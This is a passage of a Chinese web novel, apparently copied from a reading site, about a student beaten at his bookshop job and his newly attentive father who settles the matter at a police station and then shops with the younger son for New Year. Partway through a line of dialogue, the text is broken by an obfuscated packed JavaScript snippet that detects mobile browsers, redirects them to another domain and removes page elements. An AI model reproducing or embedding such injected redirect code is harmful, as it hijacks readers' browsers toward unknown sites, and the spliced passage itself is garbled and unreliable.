心理学需要阅读大量英文的文献,好在用校园网登录知网可以免费下载,不然明景又得额外地掏一笔钱买书。 他夜以继日的读书,其实已经有点近视了,加上之前因为挨打导致眼角出血,视力模糊,后面一直没有恢复完全,看东西有时还是雾蒙蒙的不清晰,碍于囊中羞涩,没钱配眼镜,只能这样将就着看着。 看的眼睛酸胀疼痛,明景才停下来,上床休息。 他不喜欢熬夜,到了点就睡觉。 第二天,他早早起来,就去了兼职的书店。 他形象好,身高腿长的,书店老板给了他一套制服,白衬衫黑裤子,衬得他身形愈发修长。 书店开在大学城,周围还有不少别的学校的学生会来买书喝咖啡什么的,看见有个大帅哥在书店上班,纷纷一传十十传百,好多人都来书店假装看书,实则看明景。 明景倒是无所谓,被看又不会少块肉,爱看就看。 他在书店还有售卡的任务,有人来更好,他卖得快。 平常在书店打工就是整理书架,转货流上货,结账,制止书店不文明行为,打扫卫生,虽然累人,但是有钱,明景并没有抱怨,像是个任劳任怨、一声不吭的牛马。 中间陆兰霁又给他打过几次电话,恰好都是明景在回答顾客问题、给顾客打包书籍的时候,明景嫌烦,把陆兰霁拉黑了。 他对陆兰霁没有多少感情,在一起也是因为陆兰霁追他请他吃饭送他礼物,吃人嘴短拿人手短,明景觉得自己不能白吃白拿,就答应在一起了。 他看起来冷冰冰的,但其实很好追,陆兰霁没花多少功夫,只花了点小钱就把明景追到手了。 陆兰霁真喜欢明景,对明景一见钟情,可明景看陆兰霁却像是个行走的atm机,非要说喜欢也只有一点—— 他喜欢陆兰霁的钱。 可明景怕麻烦,包容陆兰霁时不时的小性子已经是极限,但两个人毕竟身份地位和过去十多年来的生活方式都不同,当陆兰霁在炫耀自己今天买到了什么限量款的首饰或者电子产品,又或者是抱怨妈妈给他报的高尔夫或者马术课被突如其来的暴雨取消时,明景都无法给出相应的他需要的情绪价值。 在陆兰霁炫耀或者抱怨的时候,明景都在因为明天究竟要如何保持温饱而惴惴不安。 他们不是一个世界的人。 明景在看到陆兰霁的第一眼就明白,可惜陆兰霁这个被保护在温室里的花朵却始终不懂。 明景想要的钱,陆兰霁能给,可陆兰霁想要的情绪价值,明景给不了。 陆兰霁需要一个能对他予取予求、随时给出充沛的温柔爱人,可明景不是。 这段不平等的关系总有一天会因为某一个爆发点而彻底分崩离析,与其等到那一天撕破脸让两方都难堪,不如早早地分开。 明景自认为分开已经是对两个人的感情最好的处理方式,可陆兰霁却似乎后悔了,竟然想要挽回。 看着站在面前的陆兰霁,明景眉头微动。 他带着手套,站在梯子上,手里还放着需要整理的书,一边说话,一边将书放进柜子里。 他不说话,陆兰霁等了一会儿,便主动开了口。 他眼睛红红的,嗓音里带着哽咽: “哥哥.........” 他张嘴说了些什么,明景没听清,大概都是一些说自己后悔的话。 明景心里毫无波动,慢慢把书放好,随即爬下梯子。 陆兰霁伸出手,想要拉住明景,而此时书店老板让明进过去结账,明景便甩开了陆兰霁的手,低声道: “我要工作。” 他说:“我没时间去照顾你的小情绪,我有自己的事情要做,希望你也别来烦我。” 陆兰霁:“..........” 言罢,明景也不管陆兰霁此刻是个什么样的表情,径直走了。 陆兰霁一连来了好几天,明景都没有理他,任由他一个人坐在角落里,不给他投去半分眼神。 过了几天,陆兰霁可能是受不了明景的冷淡,也可能是回了家,没有再来。 临近过年,书店的生意也逐渐淡下来,明景按照店长的要求给书店挂上红灯笼,贴上春联。 书店暖洋洋的黄色灯光照下来,屋内咖啡的香味和书香交织,无端有些温暖。 今天是明景最后一天上班,等大年三十那天,书店关门歇业,明景就不需要再来兼职了。 他在校外租了一家很便宜的青年旅舍,环境一般,房间很小,放下床和书桌衣柜就已经被挤得满满当当,但胜在有落脚之地,明景并没有觉得有什么不好。 十几天的兼职时光让他攒了一点小钱,起码度过这个年犹有余力。 等到年后,他再出去找工作,熬到开学就好了。 明景一边想着,一边擦着桌子,正当他思考大年三十拿天他一个人要吃什么的时候,耳边忽然传来脚步声。 他以为是顾客,下意识想要抬起头去,可下一秒,一个坚硬的拳头就落在了他的脸上。 他被打的偏过头去,踉跄几步,差点摔倒在地。 明景之前因为被家暴落下了后遗症,眼睛不好,这一拳下去,他还未站起身,就觉得眼前又开始模糊一片。 他缓缓眨了眨眼睛,可还未站稳,紧接着脸上又落下一拳。 这下明景是真的看不清东西了,他被人揪着衣领按在墙上,几乎要窒息。 沉闷的呼吸落在他的脸颊上,他身上痛地发抖,左眼看不清,只能听见有个人咬牙切齿地在骂他,质问他问什么要让陆兰霁如此伤心。 ..........应该是陆兰霁的追求者或者朋友之类的,看陆兰霁失恋了心里难过,所以来帮他出头了。 明景用力扯开施暴者。 今天是他打工的最后一天了,他不想平生事端。 他勉强靠墙站直,眯着眼睛,看着面前容貌忽而清晰忽而模糊的红毛青年,低声道: “这位顾客。” 他喘了一口气,道:“ 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这句话像是最锋利的刀刃,扎进明景的心理,连带着每一寸的骨骼和经脉都泛起剧烈的疼痛,他浑身颤抖,即便调动起全部的理智也无法抵御这句话带来的滔天恨意。 警笛的声音有远及近,没多久,明景和红毛青年就被警察拉开了。 临近春节年关,正是抓社会治安最紧的时候,明景和红毛青年的斗殴发生在人流量最大的市中心书店,刚好是撞在了枪口上。 如果被定性为恶行斗殴,说不定还要抓进去关几天,年纪轻轻一旦留下案底,明景这辈子都无法翻身了。 但他不后悔。 坐在冰冷的派出所座椅上,民警的教育从左耳进右耳出,明景手腕发抖,指骨隐隐作痛,上面还带着血,也不知道是他的还是红毛青年的。 书店的老板也跟了过来,有目击证人在场,了解完事情的来龙去脉之后,民警又要走了明景的身份证。 “........你还未成年?”民警看了一眼明景的身份证,有些惊讶。 明景刚出生的时候,因为取名字的事情所以拖了几个月才上户口,身份证上的年龄比他实际年龄小两个月,按身份证来看,他要下个星期一才成年。 明景没解释自己其实已经成年很久了,只是沉默地看着民警。 看着满脸写着倔强的明景,民警轻轻叹了一口气,随即道: “叫你家长来吧。” 明景闻言,登时浑身紧绷起来,摇了摇头,带着一条裂口的唇微微抽动,吐出一个字: “不。” “叫你家长来。” 民警的语气不容置疑: “你还未成年,不管此次事件是如何定性,都需要有家长在场。” 他指了指被打的牙齿都掉了一颗、看起来伤情比明景还严重许多的红毛青年道: “何况后续可能还需要私下调解,到时候他的家长也要来,如果对方提出需要对他赔偿医药费才能和解,你觉得你一个人赔得起吗?” 民警提醒他:“你还年轻,不要年纪轻轻就给自己的人生留下污点。” 明景:“...........” 他用力咬了咬唇。 鲜血的味道从舌尖蔓延开来,浓郁的铁锈味和血腥味促使他变的清醒。 可越清醒,就越痛苦。 打电话叫家长来又如何。 他家欠了这么多的债,就算让明则仙来也还不起—— 说不定明则仙根本不会来,此刻还在某个地方醉生梦死。 对上民警催促性的视线,明景无可奈何。 他只能慢吞吞地掏出手机,犹豫许久之后,才咬牙拨通了电话。 他已经做好了明则仙此刻在外面赌博或者喝酒,根本不会接他电话的准备,但十几秒钟过后,电话就被接起了—— “喂?” 声音低沉中带着磁性,听起来很清醒,没有那种醉醺醺的拖长感。 “..........”明景不知道该如何开口,于是保持沉默。 那边的明则仙还未意识到这是明景的电话,见电话那头的人始终没开口,有些奇怪,于是又问了一遍: “你是?打错电话了吗?” “.........”听到这里,明景不得不开了口,道: “是我。明景。” 明则仙那边似乎可能还在思考明景是谁,三秒钟之后才试探道: “儿子?” “.........”明景不想应明则仙,沉默几秒之后,才道: “明则仙,你现在有空吗?” “还在忙,”明则仙还在剪花刺:“有什么事?” 明景闻言,缓缓吐出一口气,放在大腿上的手指用力攥紧,已经做好了明则仙不会来的准备: “我......打人了。” 他嘴唇一张一合,近乎麻木地吐出字句: “警察说,可能要赔钱.......你能来一下吗?” “.........”电话那头传来东西落地的声音。 明景的心一点一点提了起来。 明则仙没有马上应他,似乎是走了出去,捂着话筒和谁说了一会儿话,朦朦胧胧的听不清晰,过了半分钟之后,明则仙的脚步声和说话声才如同被掀起了幕布,逐渐明朗起来: “你现在哪?” 明则仙借了花店老板的摩托车,跨了上去,一边打电话一边拧动把手,摩托车逐渐发出巨大的轰鸣声,却未能将明则仙的声音掩盖,反而更加清晰地流淌进明景的耳朵里: “我马上过来。” 12.爸爸 明则仙一下了摩托车就往派出所里冲,动作快的连门口的民警都被他快出残影的跑步姿势惊的一愣,拿着文件站在原地好半晌没动作,还以为是上面派精英来巡查了。 明则仙匆匆走了进去,干净整洁明亮的派出所大厅内都是来来往往疾步匆匆的警察,他没好意思截住他们的去向打扰,环顾四周,看到办不成事窗口坐着一个看起来脾气很好的女警,便走过去问: “你好,请问我儿子明景在哪里?” 女警抬起头来,看着明则仙,详细问过了事情经过,随即让明则仙稍等一会儿,然后就打了个电话。 没多久,明则仙身后的楼梯就下来一个民警,叫道: “谁是明景的家长?” 明则仙赶紧回过头去,道: “我是,我是。” 民警对明则仙点头道:“你来一下。” 言罢,他转身朝楼上的办公室走去。 明则仙赶紧跟上。 民警脚步很快,步子迈的很大,光洁干净的瓷砖地面倒映出明则仙有些惴惴不安的脸。 他在电话里听到明景说自己打人的事情,可原著里明景性子冷淡,很能隐忍,不是随便会动手的人,一定是对方先挑衅了他,他忍无可忍才出手的。 那会是谁先挑衅明景呢? 明景他.........受伤了吗? 心中的疑问一个接着一个冒了出来,明则仙想问但又不好意思问,只能跟在民警身后,来到一个办公室门前。 办公室的门被人从外面推开,明则仙抬眼看去,只见一个十八九岁的少年正垂头靠墙坐着。 他的衣服外套上全是星星点点的都是暗红,他一边揉着鼻子,一边把手里的纸巾丢在地上,地上洒了一圈的纸团,上面沾着红色的血渍。 明则仙见状心中一紧,几乎是想也不想就从民警的身后挤了进去,箭步冲到那少年身边,一把抓住了那少年的肩膀,在那个少年抬起脸的瞬间,紧张又担忧地问道: “儿子,你没事吧?!” 少年:“.........” 他惊讶又错愕地瞪圆眼睛,不可置信地看着明则仙,还未开口,明则仙就伸手捧起少年的脸,上上下下检查了一番少年的伤势,看着少年残缺的牙齿,心疼道: “牙齿都掉了,真可怜。” 少年:“.........” 正在明则仙在想待会儿要不要带明景去补牙的时候,身后的民警疑惑地开了口: “你........不是明景的家长吗?” 明则仙转头,笃定道:“我是啊。” “那你面前这个不是你儿子,”民警眼睛里闪过一丝无语,指了指坐在明则仙身后,靠墙坐着的黑发少年: “这个才是明景。” 明则仙:“.........” 明景:“.........” 他靠墙坐着,眼睫如蝶翼微颤,左眼雾蒙蒙的看不清晰,但已经将明则仙方才的动作看的一清二楚。 连自己的儿子都会认错......... 明景抱臂,微微仰起头,看着一脸尴尬地朝自己走来的明则仙,嘴角勾起嘲讽的笑。 他脸上没有失望和无奈,只有释然和平静: “你刚刚又去喝酒了?” “没喝。”明则仙心想自己刚刚穿过来又没见过明景,哪里知道明景长什么样。 他伸出手,想要摸一摸明景的头表示抱歉,却被明景偏头避开。 “等一会儿何明朗的家长也会来,我会组织调解。” 民警说:“两个人看起来都还像孩子,都是大学生,年纪轻轻的,别给自己的人生留下污点。事情还是不要闹大的好,能私下达成和解,就和解吧。” 明则仙点头:“您说的是。” 在等何明朗的家长来的时候,明则仙就坐在明景的身边。 明景不看他,也不开口解释,一副懒得和明则仙说话的样子。 明则仙低下头,看着明景破皮出血的指骨,想要抓过明景的手腕看的更清楚一些,却被明景反应很大地下意识扯开,不让明则仙碰。 “让我看看你的伤口。”明则仙指尖还悬在空中,没有收回来: “手疼不疼?” 明景不想理他,于是只转过头去,轻飘飘吐出两个字:“不疼。” “嘴还挺硬。”明则仙笑:“真不疼啊。” 明景顿了顿,又问:“吃饭了吗?” 明景嫌他烦,闭上眼睛,不说话了。 明则仙见状,也不以为忤,起身出去了。 感受到明则仙从身旁离去的动静,明景悄然睁开了眼睛。 视线尽头是明则仙的背影。 他出神地瞧着。 不知道从什么时候,明景就常常看到明则仙的背影。 他小的时候,其实很渴望父亲的怀抱。 可家里人总说父亲工作忙,让他不要去打扰明则仙,每天早晨的时候,他就藏在房间门后,眼巴巴看着明则仙去上班。 后来,明则仙染上了赌瘾和酒瘾,几乎每天晚上都不回家,就算要回,也是匆匆忙忙地在家换一件衣服,或者放下公文包,就离开。 走到门前,关上门,离开,然后消失不见,直到下一次继续重复。 这样连贯的动作在明景的记忆里上演了无数遍。 明景从一开始渴望父亲的陪伴,变成了想要父亲经常回家,到最后只希望明则仙喝醉了酒不要动手打他和弟弟。 父亲形象的长期缺位让明景打心眼底对父爱没有了渴望,他知道彼此之间的血脉连接也不过是一碰就断的腐朽红线,仅剩的一点孺慕之情在十多年来明则仙对家庭的漠视中,逐渐消磨殆尽了。 现在的明则仙对于明景来说,不过只比仇人要好一个层次,但也........相差无几。 明景不知道明则仙去哪了,或许一走了之也不奇怪。 明则仙能保持清醒地来这里就已经超乎了明景的意料之外,明景不期待明则仙能站在自己这边帮自己完美解决这件事。 毕竟是他自己犯下的错误,他不指望明则仙能帮他兜底。 思及此,明景下意识站起身来。 他已经做好了要继续打工赔钱的准备了。 正当他想找民警时,身后的门又被打开。 明景下意识回过头去,只见迎面便落下了一个巴掌,他错愕地站在原地,几秒钟之后,一个响亮的耳光就扇在了他脸上。 他被这个耳光扇的嗡嗡作响,下意识偏过头去,踉跄几步,后腰顶在了办公桌尖锐的桌角,脸颊上火辣辣的痛感和后腰传来的撞击疼的他面色微微扭曲,皱起了眉头。 “老婆,别这样.........” 一旁似乎有劝架的声音传来,民警也反应过来了,呵道: “干什么?在派出所打人?!” “哪来的穷小子敢打我儿子?!”女人尖利的声音像是甲片一样划开了空气,直直刺进了明景的耳朵里: “一点教养也没有!” 明景被扇的右脸火辣辣的疼,眼睛也雾蒙蒙地看不清晰,忍着后腰的疼痛,一声不吭。 那女人见明景不说话,又想来拉扯明景,被恼火的民警拉开之后,指甲还不甘心地在明景的脖子上留下了几道血痕。 正当屋内一片混乱的时候,明景只觉面前忽然落下一层阴影,他下意识地抬起头一看,只见明则仙站在他面前,指尖还勾着蓝色的医药袋子,随着他把女人推开的动作哗啦啦作响: “这位女士,冷静点。” 明则仙把女人推开,挡在明景面前,沉着脸道: “事情的经过都还没有了解清楚,别随便打人。” “还有什么好说的,我儿子都被打成这样了!” 明则仙长的很高大,体格都和站在一旁训练有素的民警差不多了,女人见状有些忌惮,不敢动手,但嘴巴上依旧不吭服软: “赔钱!” “可以啊。” 明则仙说:“不过我刚刚出去,和门口的书店老板了解了一下事情经过,好像是你儿子先挑衅的吧?这样,我们先把监控调出来看看,看到底是谁的责任更大;然后再验伤,如果是我们家的错,我肯定赔钱,但如果不是我们的问题,我也有依法索取经济赔偿的权利。” 明则仙头脑很清晰,一下子把民警想说的话都说完了。 女人看着明则仙破旧的装扮,还以为他是什么社会底层人士可以随意拿捏欺负,却没想到明则仙看起来弱但实际上骨头却很硬,当下愣在那里,一眨不眨地盯着明则仙看,也不知道在想什么。 见女人不再动手了,明则仙这才转过头来。 他掌心捧起明景的脸,左右看了看,明景侧头想躲,却被明则仙按住: “别动。” 明则仙指尖拂过他嘴角的肿胀青紫,道: “等会儿让警察叔叔带你去验伤,做笔录的时候,他问你当时发生了什么,你就诚实地说,不要怕。” 这副哄孩子的话让明景直听的想笑,但被嘴角的伤口牵扯的无法做出太大的动作,只故意道: “要是就是我先动手打人,你怎么办?” “赔钱,还能怎么办。” 明则仙说:“但是你是好孩子,我不相信你会无缘无故地动手打人。” 明景:“..........” 他不再说话了。 过了一会儿,民警果然带着明景和何明朗去验伤了,回来又带着两个人做了笔录。 因为有监控摄像头和书店老板的作证,都可以证明是何明朗先挑衅动手的。 明则仙请了半天假,从上午开始就一直陪着明景留在派出所,两人直到晚上十一点多才出来。 虽然何明朗看起来伤的更严重,但是是他已经成年了,又是他先在人多的地方闹事动手的,而明景按照身份证上来看还是未成年,法律要更倾向于保护未成年,因此这一场斗殴事件还是何明朗责任更大,如果明则仙选择不和解的话,明景是未成年最多被教育几句,而何明朗是有可能被行政拘留几天的,就看派出所那边怎么定性了。 一旦被行政拘留,留下案底,起码以后要考公考编当兵都是不可能的了。 何明朗的母亲当场被吓坏了,从一开始的气势汹汹变成了紧张崩溃,最后甚至按着何明朗跪在明则仙和明景的脚边大哭,求明则仙和明景的原谅。 明则仙考虑到以他们的财力要起诉有点难,加上明景也怕麻烦,两方还是选择了和解。 最后何明朗家当场赔了一万四,既是医药费,又加上那一巴掌的精神损失费。 “医生说你有点眼外伤出血,要不要带你去大医院再看看。”明则仙看着伤情鉴定报告,皱着眉道: “你现在还能看得清东西吗?” “不用了。”明景无所谓道:“不影响的。” 明则仙不说话了。 明景和明则仙站在派出所门口互相看了一会儿,都从彼此眼睛里看出了陌生。 寒风飕飕,打在裸露在外的皮肤上,有点冷。 片刻后,明景不习惯和明则仙呆着,于是率先移开眼睛,低声道:“我先走了。” 言罢,他抬脚就想离开,但下一秒,就被明则仙拉住了: “等一下。” 明则仙站在明景的身后问:“你们学校还没放假吗?” 明景挣开明则仙的手,后退几步,面无表情道: “还没。” “现在都马上要过年了,怎么可能还没放假。”明则仙说:“你一个小孩,在外面怎么照顾的好自己?” 明景被明则仙接二连三的关心打的措手不及,他不适应这样父子之间温情脉脉的氛围,不适地皱起了眉,道:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15345010|167793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我已经成年了,不用你管。” 言罢,他不顾明则仙的阻止,转身就往外走去。 就在他准备上最后一班公交车回旅舍的时候,明则仙却追了上来: “等等!” 明景还以为明则仙想让他跟自己回家,张嘴正想拒绝,掌心里却被强行塞了两个袋子: “这是我刚刚出去买的碘伏和棉签,还有消肿的药。” 明则仙追他追的气喘吁吁的,寒风吹过他没有经过打理的长发,透着些许凌乱: “你在外面好好照顾自己,如果遇到什么问题再给我打电话。如果要回家,就给我发消息,我来接你。” 明景:“..........” 他张了张嘴,站在公交车投币的梯上,居高临下地看着胡子拉碴、陪他在派出所待了几乎十个小时的明则仙,一时间不知道该开口说些什么。 公交车门被关上,明则仙的身影很快消失,明景透过玻璃门去看,明则仙在视线里逐渐变小。 但手中的袋子却越来越重。 明景低下头去,只见袋子里果然装着未拆封的碘酒棉签和药膏,而另外一个袋子里,则装着饭团和牛奶。 饭团和牛奶都已经冷了,应该是明则仙中午去便利店买给他的。 明景闭了闭眼睛,掌心用力攥紧了袋子。 放在兜里的手机忽然震动几下,明景睁开眼睛,下意识拿起来,看向屏幕。 是明则仙的好友申请。 在高考完之后,明景就拉着行李箱离开了家,走的时候甚至还把明则仙的微信删除了。 他犹豫了很久,久到明则仙又发了一次好友申请,他才动了动手指,选择了通过。 看着停留在一年前的聊天框,他还不知道要说什么,明则仙就已经给他转了一万五过来。 除掉何明朗家给的赔偿,明则仙还多给了明景一千块,并附言: “上个学期的钱爸爸没给你,很愧疚。寒假我会多努力挣钱,你身体受伤了,就不要这么辛苦出去打工,好好休息。下学期的学费和生活费我会想办法,这些钱你先拿着,给自己买点好的电子产品,快过年了,再买几身合身的衣服穿。” 明景:“..........” 他的指尖微微绷紧,片刻后用力攥紧了手机。 他没有回复明则仙,只是低下头,额头抵在冰冷的手机屏幕上。 手机屏幕亮了一会儿,又重新熄灭了。 “仙洞站,到了。” 不知保持这个姿势过了多久,听到广播的提示音,明景这才缓缓抬起了头。 眼前飘过的led灯的字体从模糊到清晰,再到模糊。 见状,明景心中微微一沉。 他左眼看不清晰,站起身时只能摸着椅子下去。 下了公交车,他沿着路边,往租住的旅舍里走。 马上就要十二点了,很多商店都关门了,旅舍又地处偏远,明景越往里走,路就越黑。 他眼前雾蒙蒙的,看不清楚,只能努力眯着眼睛,借着路灯的光线往里走。 可天公不作美,他还没找到自己住的地方,面前的路灯就因为接触不良,刺啦一声,陡然熄灭了几盏。 他四周的环境彻底陷入了漆黑中。 明景这下什么都看不起清楚了。 周围静悄悄的,没有什么人在,可能有人明景也看不到,他只能僵在原地,不知道该硬着眼皮往前走,还是该开口喊人帮忙。 可他生性冷淡倔强,不到万不得已,不肯主动求助。 就在他进退维谷,举步维艰的时候,手机屏幕忽然亮了起来。 在漆黑的夜里,手机屏幕的光线显地无比凸出,明景拿起手机,看不清手机屏幕上的字,只能凭着感觉和习惯将指尖从左滑至右边接起,放到耳边: “喂?” “儿子,到家没。”电话那头传来钥匙插进锁孔里开门的声音,显然明则仙也是刚到家,一边打开门一边叮嘱道: “放在袋子里的饭团和牛奶你回去想办法热一下再吃。” 明景:“............” 他住的地方什么都没有,哪里能热东西,何况他现在看不清东西,都不知道自己站在哪里,还不知道怎么回去。 他站在原地,踌躇了片刻,最后还是没有选择开口向明则仙表明现在的情况,更没有求助,只道: “知道了。” 电话那头传来明则仙的呼吸声,很沉稳。 父子俩谁也没有先开口说话,就这样沉默了一会儿,片刻后,明则仙才主动道: “那我就不打扰你休息了,有事再给我打电话,嗯?” “.........好。”明景说。 他是说不出什么软话的,明则仙也是,许久之后,他才听见明则仙笑了一下: “那.......晚安,做个好梦,儿子。” 明景微微一愣,没料到明则仙竟会对自己说这个,好半晌不知道要回什么。 耳边传来嘟的一声响,电话被挂断,明景放下手机,耳边却依旧回响着明则仙那一声带着笑的晚安。 寂静漆黑又寒冷的夜里,似乎只有明则仙的话带着温度,使用中的手机微微发着烫,这一句晚安像是能从屏幕里透出来一样,自掌心染上些许热意。 很寻常的一句话,像是父子之前再寻常不过的关心,只有明景自己知道,自从离开家之后,家暴的阴影始终如影随形,他已经很久没有好好睡上一觉了,经常在噩梦中惊醒,醒来之后冷汗层层,头晕眼花。 做个好梦,是此时此刻对他来说,最可望而不可即的祝福。 过了很久,很久,久到手机自动熄屏,明景才意识到自己已经轻声开了口,声音细如丝缕,只有他一个人能听清—— “晚安。” “........爸爸。” 13.梁检昭 明则仙骑着摩托车一路回了家。 他回到家的时候,明华已经睡下好一会儿了。 地下室隔音差,明则仙开门的动静很快就被明华发现,他禁不住睁开眼睛,听着明则仙轻手轻脚拖鞋往客厅走的动静,犹豫了一会儿,还是抵御着困意,慢慢从温暖的被窝里爬了出来,穿鞋下床,开门。 “爸,你怎么这么晚才回来。” 明华冷不丁的一句话差点把摸黑准备开灯的明则仙吓死。 “啪——” 灯在他禁不住颤抖的指尖下被打开,迎着满室的明亮,明则仙微微眯了眯眼睛,等适应了光线之后,他才转过头,看向站在门边露出半张脸的明华。 “.........吓死我。” 明则仙伸出手,把手里的面包递给他: “要不要吃?原来是给你当早餐的。” “不用了爸,我不饿。”明华顺手接过手中的面包,准备放进冰箱里。 他路过插着几朵小雏菊的桌边,打开冰箱,将面包塞进满是食物的冰柜里。 “今天店里事情比较多,就迟了一些。”明则仙没把明景的事情告诉明华,免得明华担心,说话间已经一屁股坐进了仅剩的半张沙发,裸露的海绵也跟着他的动作艰难弹了弹: “你早点睡,明天我带你出去买几身过年穿的衣服。” “真的吗!”明华闻言足足反应了好一会儿,才转过脸来,砰的一声关上了冰箱门。 他的眼睛亮亮的,先是不敢相信地往前走,最后一路小跑到明则仙面前,也跟着一屁股坐下来,沙发登时发出不堪重负的重响: “爸爸真的给我买衣服吗?!” “真的。”明则仙抬腿用膝盖碰了碰他: “坐过去点儿,别挤我。” “噢噢,”明华顺势站了起来,那份兴奋劲儿还没过去,他的眼睛里忽然闪过一丝迟疑: “可是我这次期末考没考好......” 他说着就低下头来,指尖绞着衣摆,话里的喜悦也被苦涩和难过冲淡了,连带着眼睛里的光也熄灭,变得暗淡无光,说话间他撩起眼皮,偷偷觑明则仙一眼又很快低下: “爸爸还是别给我买了,等我下次考好了再........” “买衣服是为了过年和生活,和你考没考好没关系。” 明则仙反问他:“那我今天要是没工作好,就不拿工资了?就不吃饭了?” 明华:“.......” 他被明则仙问的一愣。 他这几天放假在家,除了有时做家务之外也没什么事干,加上明则仙出去工作了,家里经济好了不少,他也微微胖了些,瞪圆眼睛的时候就像一个受惊的仓鼠,脸颊微鼓,干净明晰的眼珠子圆溜溜的,泛着光。 明则仙见他可爱,伸出手,捏了捏他的脸颊,随即拍了拍,力道介于安抚和催促之间,道: “去睡觉吧。” 他的声音轻了下来:“明天我就不去花店了,我们去菜市场买点菜,后天是除夕,我们抓紧准备一下。” “好嘞!”明华对着明则仙敬了个礼: “收到!长官!” 明则仙被他逗笑,看着明华蹦蹦跳跳的身影,脸上的笑意在明华关上门的那一刻,逐渐黯淡下来。 也不知道明景现在怎么样了......... 明景缓缓拿出藏在衣服口袋里的检查单,看着上面的数据和诊断结果,眉头微微蹙起。 这孩子.......还真是会逞强。 对于明则仙和明景昨天晚上发生的事情,明华并不知情。 他起了个大早,把家里简单地收拾了一遍,随即又换上自己认为最能穿的出去的衣服换上,和明则仙一起去逛街了。 马上都要过除夕了,但街上还是很热闹,有些服装店还没关门,明则仙带着明华走进去,挑了几件衣服。 衣服都不是什么名贵的牌子,但明华很满足,对着镜子照了半天,都快舍得不脱下了。 “爸爸,你觉得这两件,哪个更好看呢?” 明华手里拿着两件外套,道: “是这件?还是这件?” “都好看。”明则仙看出明华两件都喜欢,很纠结,道: “喜欢就两件都买了。” “可是很贵.......”明华纠结道:“要不还是买这件有格子的吧........” “都买吧,”明则仙把衣服的牌子翻过来,看了一下价格。 店员见状,便笑道:“现在有打八八折的。” “打完也很贵........”这厢明华还在纠结,明则仙已经懒得再看,直接道:“那就这两件外套吧,加上那两件裤子和那件毛衣。” “好的。”店员火速抱着衣服去了电脑面前,扫过标签后,礼貌道: “一共一千六百八十。” “........”明华错愕地睁大眼睛,还没来得及说“那不要了”明则仙就已经利落地拿出付款码,付了钱。 “滴——” “好了。”店员把衣服收好,随即道:“要给你们熨一下吗?” “裤子帮忙熨一下吧。”明则仙说:“我们再去买点年货,等一会儿再来取衣服。” “好的。”店员微笑:“您慢走。” 明则仙拉着呆滞的明华走了。 明华走出店好远之后,才迟钝地反应过来: “爸爸.......” 他纠结片刻,才鼓起勇气问道: “你是不是中彩票了?” “..........”明则仙被明华逗笑:“想什么呢。” 他说:“这些钱都是我挣的。” 明华不相信明则仙这么些天就能挣这么多,于是弯下腰,小心谨慎地在四周看了一圈,随即才压低声音道: “爸爸,我们家穷一点没关系的......你可千万不能借高利贷啊。” 明则仙喷了。 “你想啥呢,什么高利贷!” 带着父爱的一巴掌扇到明华的后脑勺,扬起几缕碎发: “你就不能盼我点好。” 明华只觉后脑勺,凉凉的,像是有风吹过,不死心又问: “那.......爸爸中彩票了?” “哪有钱买彩票。”明则仙摸了摸鼻子,视线一转,倒是真的在角落里发现了一家彩票店。 因为无数次幻想过暴富,所以明则仙读研究生时,因为导师会给发补贴,加上他外面实习也有收入,所以偶尔小有余钱的时候,就会去买买彩票。 不过他一向中的不多,中的最多的是坚持买了三个月同一个号码,最后终于中了六千块。 那是他中过的最高奖金了。 不过小赌怡情,大赌伤身,明则仙从来没把买彩票当做改变自己人生的路径。 考清北的可能性都比买彩票翻身的可能性要大。 但他现在有点小钱了,又有点想买彩票,想了想,便带着明华进了彩票店。 他先是打了几注,随即又掏钱买了四张刮刮乐,和明华坐在一起刮。 “爸爸,要是没刮出奖来怎么办?”明华有点紧张: “那我们不就亏了吗?” “买彩票亏钱是正常的。”明则仙说:“你就当做玩,享受玩的过程就好。” 明则仙一边刮,一边道: “明华,其实这个世界上很多事情,都没什么大不了的。就像是你觉得你这一次期末考试没考好,天就塌了,但若干年后你回想起来,就会发现这一次期末考试在你的人生里根本不算什么。人生的容错率远远比你想象中的要大,只要人还活着,就一定会有翻身的机会,人生就不会完蛋。很多事情,你当做刮刮乐一样,去玩,去享受未知的结果,无论最后结局是好的还是坏的,都是你人生独一无二的体验。” 言罢,他低头一看,随即丢开刮刮乐的铲子,拿出那张中了奖的彩票,指尖轻轻一弹,笑:“看,顺其自然,这不就中了。” 明华:“.........” 他似懂非懂地看着明则仙起身去兑奖的背影,对明则仙的崇拜又更上一层楼。 之后的三张刮刮乐都没中,但无所谓,明则仙中了五百块钱,除掉买四张刮刮乐的成本,还赚了四百多。 他带着明华去购置了一些年货,随即又带着买的那些衣服,大包小包地回到了家。 家里被明华打扫的很干净,明则仙前段时间让人来修了一下浴室,现在浴室不会漏水了,只不过墙上还有一些霉,明则仙让明华把床搬开,喷了一些除霉喷雾上去,等待霉消失。 除霉喷雾味道有些臭,明则仙下午又带着明华出了门。 明华的成绩不太好,明则仙打算给他买一些辅导书之类的,顺带寒假再给他补补课。 他带着明华去了明景打工的西西弗书店,等明华走开去选书的时候,他私下找到了店长,再三道歉,并说给店长造成的损失他都会赔偿。 “不用了,没关系的。”店长是个三十多岁的女性,笑起来很爽朗: “明景有分寸,桌椅什么的都没有坏,只是打碎了几个杯子,警察也赶来的很及时,没有给之后的营业造成损失。” 明则仙闻言,又再三道了歉,和店长聊了一会儿之后,又不动声色地问道:“明景之后还有再来吗?” “没有了。”店长说:“我们今天就关门了,明景也没再来了。” 明则仙说:“他住在哪里,你知道吗?” 店长闻言,有些惊讶地看着明则仙:“你不是他爸爸吗?他住哪里,你不知道?” 明则仙有些不好意思笑了笑:“我这个父亲当的不到位,孩子现在都不愿意理我了,搬出去住了。” “啊.......”店长无意打听别人家的密辛,听到这句话,有些抱歉道:“我只知道他住在仙洞路的一家青年旅馆,具体的我也不知道了。” “好的,多谢。”有了大概的方位,明则仙心里大概有数了。 两人又聊了一会儿,没多久店长就去忙了,明则仙也就自己在书店里转了转。 路过教辅区的时候,他还意外看到了一套注册会计师的辅导书。 